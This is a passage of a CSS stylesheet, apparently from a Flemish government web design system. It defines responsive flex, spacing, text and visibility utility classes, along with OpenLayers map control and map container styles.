        .vl-u-flex-align-flex-start--l,
        .vl-u-flex-align-left--l {
          align-items: flex-start !important
        }

        .vl-u-flex-align-center--l {
          align-items: center !important
        }

        .vl-u-flex-align-flex-end--l,
        .vl-u-flex-align-right--l {
          align-items: flex-end !important
        }

        .vl-u-flex-align-baseline--l {
          align-items: baseline !important
        }

        .vl-u-flex-align-stretch--l {
          align-items: stretch !important
        }

        .vl-u-flex-v-flex-start--l,
        .vl-u-flex-v-top--l {
          justify-content: flex-start !important
        }

        .vl-u-flex-v-center--l {
          justify-content: center !important
        }

        .vl-u-flex-v-bottom--l,
        .vl-u-flex-v-flex-end--l {
          justify-content: flex-end !important
        }

        .vl-u-flex-v-space-between--l {
          justify-content: space-between !important
        }

        .vl-u-flex-v-space-around--l {
          justify-content: space-around !important
        }

        .vl-u-flex-direction-row--l {
          flex-direction: row !important
        }

        .vl-u-flex-direction-column--l {
          flex-direction: column !important
        }

        .vl-u-flex-direction-row-reverse--l {
          flex-direction: row-reverse !important
        }

        .vl-u-flex-direction-column-reverse--l {
          flex-direction: column-reverse !important
        }

        .vl-u-flex-wrap-wrap--l {
          flex-wrap: wrap !important
        }

        .vl-u-flex-wrap-nowrap--l {
          flex-wrap: nowrap !important
        }

        .vl-u-flex-wrap-reverse--l {
          flex-wrap: wrap-reverse !important
        }
      }

      @media screen and (max-width:1023px) {

        .vl-u-flex-align-flex-start--m,
        .vl-u-flex-align-left--m {
          align-items: flex-start !important
        }

        .vl-u-flex-align-center--m {
          align-items: center !important
        }

        .vl-u-flex-align-flex-end--m,
        .vl-u-flex-align-right--m {
          align-items: flex-end !important
        }

        .vl-u-flex-align-baseline--m {
          align-items: baseline !important
        }

        .vl-u-flex-align-stretch--m {
          align-items: stretch !important
        }

        .vl-u-flex-v-flex-start--m,
        .vl-u-flex-v-top--m {
          justify-content: flex-start !important
        }

        .vl-u-flex-v-center--m {
          justify-content: center !important
        }

        .vl-u-flex-v-bottom--m,
        .vl-u-flex-v-flex-end--m {
          justify-content: flex-end !important
        }

        .vl-u-flex-v-space-between--m {
          justify-content: space-between !important
        }

        .vl-u-flex-v-space-around--m {
          justify-content: space-around !important
        }

        .vl-u-flex-direction-row--m {
          flex-direction: row !important
        }

        .vl-u-flex-direction-column--m {
          flex-direction: column !important
        }

        .vl-u-flex-direction-row-reverse--m {
          flex-direction: row-reverse !important
        }

        .vl-u-flex-direction-column-reverse--m {
          flex-direction: column-reverse !important
        }

        .vl-u-flex-wrap-wrap--m {
          flex-wrap: wrap !important
        }

        .vl-u-flex-wrap-nowrap--m {
          flex-wrap: nowrap !important
        }

        .vl-u-flex-wrap-reverse--m {
          flex-wrap: wrap-reverse !important
        }
      }

      @media screen and (max-width:767px) {

        .vl-u-flex-align-flex-start--s,
        .vl-u-flex-align-left--s {
          align-items: flex-start !important
        }

        .vl-u-flex-align-center--s {
          align-items: center !important
        }

        .vl-u-flex-align-flex-end--s,
        .vl-u-flex-align-right--s {
          align-items: flex-end !important
        }

        .vl-u-flex-align-baseline--s {
          align-items: baseline !important
        }

        .vl-u-flex-align-stretch--s {
          align-items: stretch !important
        }

        .vl-u-flex-v-flex-start--s,
        .vl-u-flex-v-top--s {
          justify-content: flex-start !important
        }

        .vl-u-flex-v-center--s {
          justify-content: center !important
        }

        .vl-u-flex-v-bottom--s,
        .vl-u-flex-v-flex-end--s {
          justify-content: flex-end !important
        }

        .vl-u-flex-v-space-between--s {
          justify-content: space-between !important
        }

        .vl-u-flex-v-space-around--s {
          justify-content: space-around !important
        }

        .vl-u-flex-direction-row--s {
          flex-direction: row !important
        }

        .vl-u-flex-direction-column--s {
          flex-direction: column !important
        }

        .vl-u-flex-direction-row-reverse--s {
          flex-direction: row-reverse !important
        }

        .vl-u-flex-direction-column-reverse--s {
          flex-direction: column-reverse !important
        }

        .vl-u-flex-wrap-wrap--s {
          flex-wrap: wrap !important
        }

        .vl-u-flex-wrap-nowrap--s {
          flex-wrap: nowrap !important
        }

        .vl-u-flex-wrap-reverse--s {
          flex-wrap: wrap-reverse !important
        }
      }

      @media screen and (max-width:500px) {

        .vl-u-flex-align-flex-start--xs,
        .vl-u-flex-align-left--xs {
          align-items: flex-start !important
        }

        .vl-u-flex-align-center--xs {
          align-items: center !important
        }

        .vl-u-flex-align-flex-end--xs,
        .vl-u-flex-align-right--xs {
          align-items: flex-end !important
        }

        .vl-u-flex-align-baseline--xs {
          align-items: baseline !important
        }

        .vl-u-flex-align-stretch--xs {
          align-items: stretch !important
        }

        .vl-u-flex-v-flex-start--xs,
        .vl-u-flex-v-top--xs {
          justify-content: flex-start !important
        }

        .vl-u-flex-v-center--xs {
          justify-content: center !important
        }

        .vl-u-flex-v-bottom--xs,
        .vl-u-flex-v-flex-end--xs {
          justify-content: flex-end !important
        }

        .vl-u-flex-v-space-between--xs {
          justify-content: space-between !important
        }

        .vl-u-flex-v-space-around--xs {
          justify-content: space-around !important
        }

        .vl-u-flex-direction-row--xs {
          flex-direction: row !important
        }

        .vl-u-flex-direction-column--xs {
          flex-direction: column !important
        }

        .vl-u-flex-direction-row-reverse--xs {
          flex-direction: row-reverse !important
        }

        .vl-u-flex-direction-column-reverse--xs {
          flex-direction: column-reverse !important
        }

        .vl-u-flex-wrap-wrap--xs {
          flex-wrap: wrap !important
        }

        .vl-u-flex-wrap-nowrap--xs {
          flex-wrap: nowrap !important
        }

        .vl-u-flex-wrap-reverse--xs {
          flex-wrap: wrap-reverse !important
        }
      }

      .vl-u-bg {
        background-color: #fff
      }

      .vl-u-bg-alt {
        background-color: #f7f9fc
      }

      .vl-u-bg-error {
        background-color: #fbebec
      }

      .vl-u-bg-warning {
        background-color: #fff6e7
      }

      .vl-u-bg-success {
        background-color: #e6f5ed
      }

      .vl-u-border {
        padding-left: 3.5rem;
        position: relative
      }

      @media screen and (max-width:767px) {
        .vl-u-border {
          padding-left: 1.75rem
        }
      }

      .vl-u-border:after {
        background: #ffed00;
        background: var(--vl-theme-primary-color);
        bottom: 0;
        content: "";
        display: block;
        height: 100%;
        left: 0;
        position: absolute;
        top: 0;
        width: .5rem
      }

      .vl-u-border.vl-grid:after {
        bottom: 0;
        height: 100%;
        left: 3rem;
        top: auto
      }

      @media screen and (max-width:767px) {
        .vl-u-border.vl-grid:after {
          left: 1.5rem
        }
      }

      .vl-u-highlight-content {
        border: 1px solid #cbd2da;
        padding: 4.1666666667%
      }

      .vl-u-highlight-content--alt {
        background: #f7f9fc;
        border: none
      }

      button.vl-vi {
        -webkit-appearance: none;
        -moz-appearance: none;
        appearance: none;
        border: 0;
        outline: none;
        padding: 0
      }

      a.vl-vi {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-vi.vl-vi-u-hidden-text {
        font-size: 0
      }

      .vl-vi.vl-vi-u-xs:before {
        font-size: .8rem
      }

      .vl-vi.vl-vi-u-s:before {
        font-size: 1.3rem
      }

      .vl-vi.vl-vi-u-m:before {
        font-size: 1.7rem
      }

      .vl-vi.vl-vi-u-l:before {
        font-size: 2rem
      }

      .vl-vi.vl-vi-u-xl:before {
        font-size: 2.2rem
      }

      .vl-vi.vl-vi-u-90deg:before {
        display: inline-block;
        transform: rotate(90deg)
      }

      .vl-vi.vl-vi-u-180deg:before {
        display: inline-block;
        transform: rotate(180deg)
      }

      .vl-vi.vl-vi-u-link:before {
        color: #000;
        display: inline-block;
        font-size: 1.3rem;
        margin-right: 1rem;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-vi.vl-vi-u-color-grey {
        color: #cbd2da
      }

      .vl-vi.vl-vi-u-badge {
        border-radius: 50%;
        display: inline-block;
        text-align: center;
        vertical-align: middle
      }

      .vl-vi.vl-vi-u-badge:before {
        display: block;
        margin: 0;
        vertical-align: middle
      }

      .vl-vi.vl-vi-u-badge--link {
        margin-right: 1rem
      }

      .vl-vi.vl-vi-u-badge--link-after {
        margin-left: 1rem
      }

      .vl-vi.vl-vi-u-badge--positive {
        background-color: #007a37;
        color: #fff
      }

      .vl-vi.vl-vi-u-badge--positive:focus,
      .vl-vi.vl-vi-u-badge--positive:hover,
      a:focus .vl-vi.vl-vi-u-badge--positive,
      a:hover .vl-vi.vl-vi-u-badge--positive {
        background-color: #009e47;
        color: #fff
      }

      .vl-vi.vl-vi-u-badge--action {
        background-color: #05c;
        color: #e6eefa
      }

      .vl-vi.vl-vi-u-badge--action:focus,
      .vl-vi.vl-vi-u-badge--action:hover,
      a:focus .vl-vi.vl-vi-u-badge--action,
      a:hover .vl-vi.vl-vi-u-badge--action {
        background-color: #004ab3;
        color: #e6eefa
      }

      .vl-vi.vl-vi-u-badge--negative {
        background-color: #d2373c;
        color: #fff
      }

      .vl-vi.vl-vi-u-badge--negative:focus,
      .vl-vi.vl-vi-u-badge--negative:hover,
      a:focus .vl-vi.vl-vi-u-badge--negative,
      a:hover .vl-vi.vl-vi-u-badge--negative {
        background-color: #aa2729;
        color: #fff
      }

      .vl-vi.vl-vi-u-badge--warning {
        background-color: #ffa10a;
        color: #333332
      }

      .vl-vi.vl-vi-u-badge--neutral {
        background-color: #f7f9fc;
        color: #333332
      }

      .vl-vi.vl-vi-u-badge--neutral:focus,
      .vl-vi.vl-vi-u-badge--neutral:hover,
      a:focus .vl-vi.vl-vi-u-badge--neutral,
      a:hover .vl-vi.vl-vi-u-badge--neutral {
        background-color: #05c;
        color: #e6eefa
      }

      .vl-vi.vl-vi-u-badge--light {
        background-color: #fff;
        color: #333332
      }

      .vl-vi.vl-vi-u-badge--light:focus,
      .vl-vi.vl-vi-u-badge--light:hover,
      a:focus .vl-vi.vl-vi-u-badge--light,
      a:hover .vl-vi.vl-vi-u-badge--light {
        background-color: #05c;
        color: #e6eefa
      }

      .vl-vi.vl-vi-u-badge--xxsmall {
        height: 1.8rem;
        line-height: 1.8rem;
        width: 1.8rem
      }

      .vl-vi.vl-vi-u-badge--xxsmall:before {
        font-size: .8rem
      }

      @media screen and (max-width:767px) {
        .vl-vi.vl-vi-u-badge--xxsmall {
          height: 1.5rem;
          line-height: 1.5rem;
          width: 1.5rem
        }

        .vl-vi.vl-vi-u-badge--xxsmall:before {
          font-size: .7rem
        }
      }

      .vl-vi.vl-vi-u-badge--xsmall {
        height: 1.8rem;
        line-height: 1.8rem;
        width: 1.8rem
      }

      .vl-vi.vl-vi-u-badge--xsmall:before {
        font-size: 1.3rem
      }

      @media screen and (max-width:767px) {
        .vl-vi.vl-vi-u-badge--xsmall {
          height: 1.5rem;
          line-height: 1.5rem;
          width: 1.5rem
        }

        .vl-vi.vl-vi-u-badge--xsmall:before {
          font-size: 1.1rem
        }
      }

      .vl-vi.vl-vi-u-badge--small {
        height: 2.6rem;
        line-height: 2.6rem;
        width: 2.6rem
      }

      .vl-vi.vl-vi-u-badge--small:before {
        font-size: 1.3rem
      }

      @media screen and (max-width:767px) {
        .vl-vi.vl-vi-u-badge--small {
          height: 2.2rem;
          line-height: 2.2rem;
          width: 2.2rem
        }

        .vl-vi.vl-vi-u-badge--small:before {
          font-size: 1.2rem
        }
      }

      .vl-vi.vl-vi-u-badge--medium {
        height: 4rem;
        line-height: 4rem;
        width: 4rem
      }

      .vl-vi.vl-vi-u-badge--medium:before {
        font-size: 2rem
      }

      @media screen and (max-width:767px) {
        .vl-vi.vl-vi-u-badge--medium {
          height: 3rem;
          line-height: 3rem;
          width: 3rem
        }

        .vl-vi.vl-vi-u-badge--medium:before {
          font-size: 1.5rem
        }
      }

      .vl-vi.vl-vi-u-badge--large {
        height: 5rem;
        line-height: 5rem;
        width: 5rem
      }

      .vl-vi.vl-vi-u-badge--large:before {
        font-size: 2.5rem
      }

      @media screen and (max-width:767px) {
        .vl-vi.vl-vi-u-badge--large {
          height: 4rem;
          line-height: 4rem;
          width: 4rem
        }

        .vl-vi.vl-vi-u-badge--large:before {
          font-size: 2rem
        }
      }

      .vl-u-mark {
        background-color: transparent;
        box-shadow: inset 0 -10px 0 0 rgba(255, 197, 21, .3)
      }

      .vl-u-mark--accent {
        background-color: transparent;
        box-shadow: inset 0 -10px 0 0 rgba(255, 237, 0, .3);
        box-shadow: inset 0 -10px 0 0 rgba(var(--vl-theme-primary-color-rgb, 255, 237, 0), .3)
      }

      .vl-u-mark--info {
        background-color: transparent;
        box-shadow: inset 0 -10px 0 0 rgba(203, 210, 218, .4)
      }

      .vl-u-mark--success {
        background-color: transparent;
        box-shadow: inset 0 -10px 0 0 rgba(0, 158, 71, .2)
      }

      .vl-u-mark--warning {
        background-color: transparent;
        box-shadow: inset 0 -10px 0 0 rgba(255, 161, 10, .2)
      }

      .vl-u-mark--error {
        background-color: transparent;
        box-shadow: inset 0 -10px 0 0 rgba(210, 55, 60, .2)
      }

      @media screen and (max-width:767px) {
        .vl-u-mobile-no-equal-height {
          min-height: 0 !important
        }
      }

      .js-vl-clamp-useless {
        display: none !important
      }

      .js .js-vl-show-checked {
        display: none
      }

      .js .js-vl-show-checked--open {
        display: block
      }

      .js.vl-flexbox .js-vl-col-float-right {
        padding-bottom: 3rem;
        position: absolute;
        right: 0;
        z-index: 1
      }

      @media screen and (max-width:767px) {
        .js.vl-flexbox .js-vl-col-float-right {
          margin-top: 1.5rem;
          padding-bottom: 0;
          position: static
        }

        .js-vl-col-float-right--pushed {
          margin-top: 0 !important
        }
      }

      [data-vl-show-on-select-content] {
        display: none
      }

      [data-vl-show-on-select-content][data-vl-show=true] {
        display: block
      }

      .vl-u-offset--spacing {
        padding: 0 4.1666666667% 1rem
      }

      .vl-u-offset--left {
        margin-left: 3rem
      }

      @media screen and (min-width:1600.1px) {
        .vl-u-offset--left {
          margin-left: -4.1666666667%
        }
      }

      @media screen and (max-width:1023px) {
        .vl-u-offset--left {
          margin-left: 0;
          margin-right: 0
        }
      }

      .vl-u-offset--left.vl-u-offset--spacing {
        padding-left: 0
      }

      .vl-u-offset--right {
        margin-right: 3rem
      }

      @media screen and (min-width:1600.1px) {
        .vl-u-offset--right {
          margin-right: -4.1666666667%
        }
      }

      @media screen and (max-width:1023px) {
        .vl-u-offset--right {
          margin-left: 0;
          margin-right: 0
        }
      }

      .vl-u-offset--right.vl-u-offset--spacing {
        padding-right: 0
      }

      .vl-u-float-right {
        float: right !important
      }

      .vl-u-float-left {
        float: left !important
      }

      .vl-u-float-none {
        float: none !important
      }

      .vl-u-display-block {
        display: block !important
      }

      .vl-u-display-inline-block {
        display: inline-block !important
      }

      .vl-u-display-flex,
      .vl-u-flex {
        display: flex !important
      }

      .vl-u-display-inline-flex {
        display: inline-flex !important
      }

      .vl-u-clearfix:after,
      .vl-u-clearfix:before {
        content: "";
        display: table
      }

      .vl-u-clearfix:after {
        clear: both
      }

      .vl-u-no-overflow {
        overflow: hidden
      }

      .vl-u-position-relative {
        position: relative
      }

      .vl-u-named-target:before,
      .vl-u-offset:before {
        content: "";
        display: block;
        height: -90px;
        margin: 90px 0 0;
        position: relative;
        z-index: -1
      }

      .vl-u-named-target-wrapper {
        position: relative
      }

      .vl-u-named-target-dummy:empty,
      .vl-u-offset-dummy:empty {
        display: block;
        height: 1px;
        margin-top: 90px;
        opacity: 0;
        position: absolute;
        top: 0;
        visibility: hidden;
        width: 1px
      }

      .vl-u-inline-list {
        display: inline-block;
        vertical-align: top
      }

      @media print {
        .vl-u-hide-on-print {
          display: none
        }

        .vl-u-show-on-print {
          display: block
        }

        footer,
        header {
          display: none
        }

        .vl-main-content footer,
        .vl-main-content header,
        [role=main] footer,
        [role=main] header,
        main footer,
        main header {
          display: block
        }

        .iwgf2,
        .iwgf3,
        .iwgh2,
        .iwgh3 {
          display: none
        }
      }

      .vl-u-hr {
        border: 0;
        border-bottom: 1px solid #cbd2da;
        margin-bottom: 0;
        margin-top: 0
      }

      .vl-u-hr--wave {
        background: url("") repeat-x;
        background-size: 20px 4px;
        border-bottom: 0;
        height: 4px
      }

      .vl-u-hr--dashed {
        background: url("") repeat-x;
        background-size: 6px 6px;
        border: 0;
        min-height: 6px
      }

      ::selection {
        background-color: rgba(255, 237, 0, .3);
        background-color: var(--vl-theme-primary-color-rgba-30)
      }

      ::-moz-selection {
        background-color: rgba(255, 237, 0, .3);
        background-color: var(--vl-theme-primary-color-rgba-30)
      }

      .vl-u-spacer {
        margin-bottom: 2rem
      }

      .vl-u-spacer--xsmall {
        margin-bottom: 1rem
      }

      .vl-u-spacer--small {
        margin-bottom: 1.5rem
      }

      .vl-u-spacer--medium {
        margin-bottom: 3rem
      }

      .vl-u-spacer--large {
        margin-bottom: 6rem
      }

      @media screen and (max-width:767px) {
        .vl-u-spacer--large {
          margin-bottom: 3rem
        }
      }

      .vl-u-spacer--none {
        margin-bottom: 0
      }

      .vl-u-spacer-top {
        margin-top: 2rem
      }

      .vl-u-spacer-top--xsmall {
        margin-top: 1rem
      }

      .vl-u-spacer-top--small {
        margin-top: 1.5rem
      }

      .vl-u-spacer-top--medium {
        margin-top: 3rem
      }

      .vl-u-spacer-top--large {
        margin-top: 6rem
      }

      @media screen and (max-width:767px) {
        .vl-u-spacer-top--large {
          margin-top: 3rem
        }
      }

      .vl-u-spacer-top--none {
        margin-top: 0
      }

      .vl-u-spacer-right {
        margin-right: 2rem
      }

      .vl-u-spacer-right--xsmall {
        margin-right: 1rem
      }

      .vl-u-spacer-right--small {
        margin-right: 1.5rem
      }

      .vl-u-spacer-right--medium {
        margin-right: 3rem
      }

      .vl-u-spacer-right--large {
        margin-right: 6rem
      }

      @media screen and (max-width:767px) {
        .vl-u-spacer-right--large {
          margin-right: 3rem
        }
      }

      .vl-u-spacer-right--none {
        margin-right: 0
      }

      .vl-u-spacer-bottom {
        margin-bottom: 2rem
      }

      .vl-u-spacer-bottom--xsmall {
        margin-bottom: 1rem
      }

      .vl-u-spacer-bottom--small {
        margin-bottom: 1.5rem
      }

      .vl-u-spacer-bottom--medium {
        margin-bottom: 3rem
      }

      .vl-u-spacer-bottom--large {
        margin-bottom: 6rem
      }

      @media screen and (max-width:767px) {
        .vl-u-spacer-bottom--large {
          margin-bottom: 3rem
        }
      }

      .vl-u-spacer-bottom--none {
        margin-bottom: 0
      }

      .vl-u-spacer-left {
        margin-left: 2rem
      }

      .vl-u-spacer-left--xsmall {
        margin-left: 1rem
      }

      .vl-u-spacer-left--small {
        margin-left: 1.5rem
      }

      .vl-u-spacer-left--medium {
        margin-left: 3rem
      }

      .vl-u-spacer-left--large {
        margin-left: 6rem
      }

      @media screen and (max-width:767px) {
        .vl-u-spacer-left--large {
          margin-left: 3rem
        }
      }

      .vl-u-spacer-left--none {
        margin-left: 0
      }

      .vl-u-scroll-offset__parent {
        height: 0;
        opacity: 0;
        overflow: hidden;
        position: relative;
        width: 0
      }

      .vl-u-scroll-offset {
        height: 1px;
        left: 0;
        margin-top: -90px;
        position: absolute;
        top: 0;
        width: 1px
      }

      .js-vl-sticky-placeholder {
        position: relative
      }

      @media screen and (max-width:767px) {
        .js-vl-sticky-placeholder {
          height: auto !important
        }
      }

      .js-vl-sticky--absolute {
        position: absolute
      }

      .js-vl-sticky--fixed {
        position: fixed
      }

      .vl-u-sticky {
        position: sticky;
        top: 0
      }

      .vl-u-sticky-gf {
        display: flex;
        flex-direction: column;
        min-height: 100vh
      }

      @media (-ms-high-contrast:none),
      screen and (-ms-high-contrast:active) {
        .vl-u-sticky-gf {
          display: block
        }
      }

      .vl-u-sticky-gf .vl-page {
        flex: 1
      }

      @media (-ms-high-contrast:none),
      screen and (-ms-high-contrast:active) {
        .vl-u-sticky-gf .vl-page {
          overflow: hidden
        }
      }

      .vl-u-text--ellipse {
        overflow: hidden;
        text-overflow: ellipsis;
        white-space: nowrap
      }

      .vl-u-text--uppercase {
        text-transform: uppercase
      }

      .vl-u-text--lowercase {
        text-transform: lowercase
      }

      .vl-u-text--capitalize:first-letter {
        text-transform: uppercase
      }

      .vl-u-text--success {
        color: #007a37
      }

      .vl-u-text--warning {
        color: #9f5804
      }

      .vl-u-text--error {
        color: #d2373c
      }

      .vl-progress-bar__step--active .vl-progress-bar__bullet__text,
      .vl-u-text--bold {
        font-weight: 500
      }

      .vl-u-text--italic {
        font-style: italic
      }

      .vl-u-text--small {
        font-size: 1.4rem !important
      }

      .vl-u-text--medium {
        font-size: 1.6rem !important
      }

      .vl-u-text--xsmall {
        font-size: 1.2rem !important
      }

      .vl-u-text--xxsmall {
        font-size: 1rem !important
      }

      .vl-u-text--marked,
      mark {
        background-color: transparent;
        box-shadow: inset 0 -10px 0 0 rgba(255, 197, 21, .3)
      }

      @media screen and (min-width:1023.1px) {
        .vl-u-visible--l {
          display: block !important
        }
      }

      @media screen and (max-width:1023px) {
        .vl-u-visible--m {
          display: block !important
        }
      }

      @media screen and (max-width:767px) {
        .vl-u-visible--s {
          display: block !important
        }
      }

      @media screen and (max-width:500px) {
        .vl-u-visible--xs {
          display: block !important
        }
      }

      .vl-u-hidden {
        display: none
      }

      @media screen and (min-width:1023.1px) {
        .vl-u-hidden--l {
          display: none !important
        }
      }

      @media screen and (max-width:1023px) {
        .vl-u-hidden--m {
          display: none !important
        }
      }

      @media screen and (max-width:767px) {
        .vl-u-hidden--s {
          display: none !important
        }
      }

      @media screen and (max-width:500px) {
        .vl-u-hidden--xs {
          display: none !important
        }
      }

      .vl-u-whitespace {
        white-space: normal
      }

      .vl-u-whitespace--nowrap {
        white-space: nowrap
      }

      .vl-u-whitespace--pre {
        white-space: pre
      }

      .vl-u-whitespace--pre-line {
        white-space: pre-line
      }

      .vl-u-whitespace--pre-wrap {
        white-space: prewrap
      }

      .vl-u-whitespace--unset {
        white-space: inherit
      }

      .vl-u-whitespace--break-spaces {
        white-space: break-spaces
      }

      .ol-box {
        border: 2px solid blue;
        border-radius: 2px;
        box-sizing: border-box
      }

      .ol-mouse-position {
        position: absolute;
        right: 8px;
        top: 8px
      }

      .ol-scale-line {
        background: rgba(0, 60, 136, .3);
        border-radius: 4px;
        bottom: 8px;
        left: 8px;
        padding: 2px;
        position: absolute
      }

      .ol-scale-line-inner {
        border: 1px solid #eee;
        border-top: none;
        color: #eee;
        font-size: 10px;
        margin: 1px;
        text-align: center;
        will-change: contents, width
      }

      .ol-overlay-container {
        will-change: left, right, top, bottom
      }

      .ol-unsupported {
        display: none
      }

      .ol-unselectable,
      .ol-viewport {
        -webkit-touch-callout: none;
        -webkit-user-select: none;
        -moz-user-select: none;
        user-select: none;
        -webkit-tap-highlight-color: rgba(0, 0, 0, 0)
      }

      .ol-selectable {
        -webkit-touch-callout: default;
        -webkit-user-select: auto;
        -moz-user-select: auto;
        user-select: auto
      }

      .ol-grabbing {
        cursor: grabbing
      }

      .ol-grab {
        cursor: move;
        cursor: grab
      }

      .ol-control {
        background-color: hsla(0, 0%, 100%, .4);
        border-radius: 4px;
        padding: 2px;
        position: absolute
      }

      .ol-control:hover {
        background-color: hsla(0, 0%, 100%, .6)
      }

      .ol-zoom {
        left: .5em;
        top: .5em
      }

      .ol-rotate {
        right: .5em;
        top: .5em;
        transition: opacity .25s linear, visibility 0s linear
      }

      .ol-rotate.ol-hidden {
        opacity: 0;
        transition: opacity .25s linear, visibility 0s linear .25s;
        visibility: hidden
      }

      .ol-zoom-extent {
        left: .5em;
        top: 4.643em
      }

      .ol-full-screen {
        right: .5em;
        top: .5em
      }

      @media print {
        .ol-control {
          display: none
        }
      }

      .ol-control button {
        background-color: rgba(0, 60, 136, .5);
        border: none;
        border-radius: 2px;
        color: #fff;
        display: block;
        font-size: 1.14em;
        font-weight: 700;
        height: 1.375em;
        line-height: .4em;
        margin: 1px;
        padding: 0;
        text-align: center;
        -webkit-text-decoration: none;
        text-decoration: none;
        width: 1.375em
      }

      .ol-control button::-moz-focus-inner {
        border: none;
        padding: 0
      }

      .ol-zoom-extent button {
        line-height: 1.4em
      }

      .ol-compass {
        display: block;
        font-size: 1.2em;
        font-weight: 400;
        will-change: transform
      }

      .ol-touch .ol-control button {
        font-size: 1.5em
      }

      .ol-touch .ol-zoom-extent {
        top: 5.5em
      }

      .ol-control button:focus,
      .ol-control button:hover {
        background-color: rgba(0, 60, 136, .7);
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .ol-zoom .ol-zoom-in {
        border-radius: 2px 2px 0 0
      }

      .ol-zoom .ol-zoom-out {
        border-radius: 0 0 2px 2px
      }

      .ol-attribution {
        bottom: .5em;
        max-width: calc(100% - 1.3em);
        right: .5em;
        text-align: right
      }

      .ol-attribution ul {
        color: #000;
        font-size: .7rem;
        line-height: 1.375em;
        margin: 0;
        padding: 0 .5em;
        text-shadow: 0 0 2px #fff
      }

      .ol-attribution li {
        display: inline;
        line-height: inherit;
        list-style: none
      }

      .ol-attribution li:not(:last-child):after {
        content: " "
      }

      .ol-attribution img {
        max-height: 2em;
        max-width: inherit;
        vertical-align: middle
      }

      .ol-attribution button,
      .ol-attribution ul {
        display: inline-block
      }

      .ol-attribution.ol-collapsed ul {
        display: none
      }

      .ol-attribution.ol-logo-only ul {
        display: block
      }

      .ol-attribution:not(.ol-collapsed) {
        background: hsla(0, 0%, 100%, .8)
      }

      .ol-attribution.ol-uncollapsible {
        border-radius: 4px 0 0;
        bottom: 0;
        height: 1.1em;
        line-height: 1em;
        right: 0
      }

      .ol-attribution.ol-logo-only {
        background: transparent;
        bottom: .4em;
        height: 1.1em;
        line-height: 1em
      }

      .ol-attribution.ol-uncollapsible img {
        margin-top: -.2em;
        max-height: 1.6em
      }

      .ol-attribution.ol-logo-only button,
      .ol-attribution.ol-uncollapsible button {
        display: none
      }

      .ol-zoomslider {
        height: 200px;
        left: .5em;
        top: 4.5em
      }

      .ol-zoomslider button {
        height: 10px;
        position: relative
      }

      .ol-touch .ol-zoomslider {
        top: 5.5em
      }

      .ol-overviewmap {
        bottom: .5em;
        left: .5em
      }

      .ol-overviewmap.ol-uncollapsible {
        border-radius: 0 4px 0 0;
        bottom: 0;
        left: 0
      }

      .ol-overviewmap .ol-overviewmap-map,
      .ol-overviewmap button {
        display: inline-block
      }

      .ol-overviewmap .ol-overviewmap-map {
        border: 1px solid #7b98bc;
        height: 150px;
        margin: 2px;
        width: 150px
      }

      .ol-overviewmap:not(.ol-collapsed) button {
        bottom: 1px;
        left: 2px;
        position: absolute
      }

      .ol-overviewmap.ol-collapsed .ol-overviewmap-map,
      .ol-overviewmap.ol-uncollapsible button {
        display: none
      }

      .ol-overviewmap:not(.ol-collapsed) {
        background: hsla(0, 0%, 100%, .8)
      }

      .ol-overviewmap-box {
        border: 2px dotted rgba(0, 60, 136, .7)
      }

      .ol-overviewmap .ol-overviewmap-box:hover {
        cursor: move
      }

      .vl-map {
        position: relative
      }

      .vl-map * {
        box-sizing: border-box
      }

      .vl-map .vl-button--print {
        margin-right: 4rem
      }

      .vl-map__container {
        align-items: center;
        display: flex;
        font-family: sans-serif;
        height: 575px;
        justify-content: center;
        margin: 0;
        max-width: 100%;
        position: relative;
        width: 100%
      }

      .vl-map__container:fullscreen {
        height: 100%
      }

      .vl-map__container .ol-full-screen,
      .vl-map__container .ol-zoom {
        background-color: #fff;
        border: 1px solid #e8ebee;
        border-radius: 2px;
        bottom: 10px;
        box-shadow: 0 0 5px 0 rgba(0, 0, 0, .3);
        left: auto;
        right: 10px;
        top: auto;
        width: 33px
      }

      .vl-map__container .ol-full-screen button,
      .vl-map__container .ol-zoom button {
        border: 0;
        height: 31px;
        margin: 0 auto;
        position: relative;
        width: 100%
      }

      .vl-map__container .ol-full-screen button:nth-child(2n):before,
      .vl-map__container .ol-zoom button:nth-child(2n):before {
        background-color: #e8ebee;
        content: "";
        display: block;
        height: 1px;
        left: 6px;
        position: absolute;
        top: 0;
        width: 20px
      }

      .vl-map__container .ol-attribution {
        left: 0;
        right: auto
      }

      .vl-map__container .ol-full-screen {
        bottom: 80px
      }

      .vl-map__container .ol-control {
        padding: 0
      }

      .vl-map__container .ol-control button {
        background: #fff;
        color: #333332
      }

      .vl-map__container .vl-map__toggle {
        background: #fff;
        border: 3px solid #fff;
        bottom: 10px;
        box-shadow: 0 0 5px 0 rgba(0, 0, 0, .3);
        display: flex;
        height: 64px;
        justify-content: flex-end;
        min-width: 90px;
        padding-left: 28px;
        position: absolute;
        right: 50px;
        transition: all .2s ease-in-out;
        z-index: 9999
      }

      .vl-map__container .vl-map__toggle .vl-vi {
        font-size: 1.4rem;
        left: 4px;
        position: absolute;
        top: 50%;
        transform: translateY(-50%)
      }

      .vl-map__container .vl-map__toggle .vl-vi:before {
        transform-origin: 50%;
        transition: all .2s ease-in-out
      }

      .vl-map__container .vl-map__toggle__button {
        border: 0;
        color: #fff;
        font-size: 1.2rem;
        font-weight: 500;
        height: 58px;
        line-height: 95px;
        padding: 0;
        position: absolute;
        right: 0;
        text-shadow: 0 1px 4px rgba(0, 0, 0, .5);
        text-transform: lowercase;
        transition: all .2s ease-in-out;
        width: 58px
      }

      .vl-map__container .vl-map__toggle__button--OSM {
        background-image: url("")
      }

      .vl-map__container .vl-map__toggle__button--LUCHTFOTO {
        background-image: url("")
      }

      .vl-map__container .vl-map__toggle__button--GRBGRIJS {
        background-image: url("")
      }

      .vl-map__container .vl-map__toggle--open {
        transition-duration: .25s;
        width: auto
      }

      .vl-map__container .vl-map__toggle--open .vl-vi:before {
        transform: rotate(180deg) translateX(-2px);
        transition-duration: .3s
      }

      .vl-map__container .vl-map__toggle--open__button {
        transition-duration: .3s
      }

      .vl-map--checkbox-list {
        display: flex
      }

      .vl-map--checkbox-list .vl-checkbox-list {
        padding-left: 0
      }

      .vl-map--checkbox-list .vl-checkbox-list .vl-checkbox-list__header,
      .vl-map--checkbox-list .vl-checkbox-list .vl-checkbox-list__list li {
        padding-left: 20px
      }

      .vl-map__tooltip {
        background-color: hsla(0, 0%, 100%, .95);
        bottom: -80px;
        box-shadow: 0 2px 10px 0 rgba(0, 0, 0, .3);
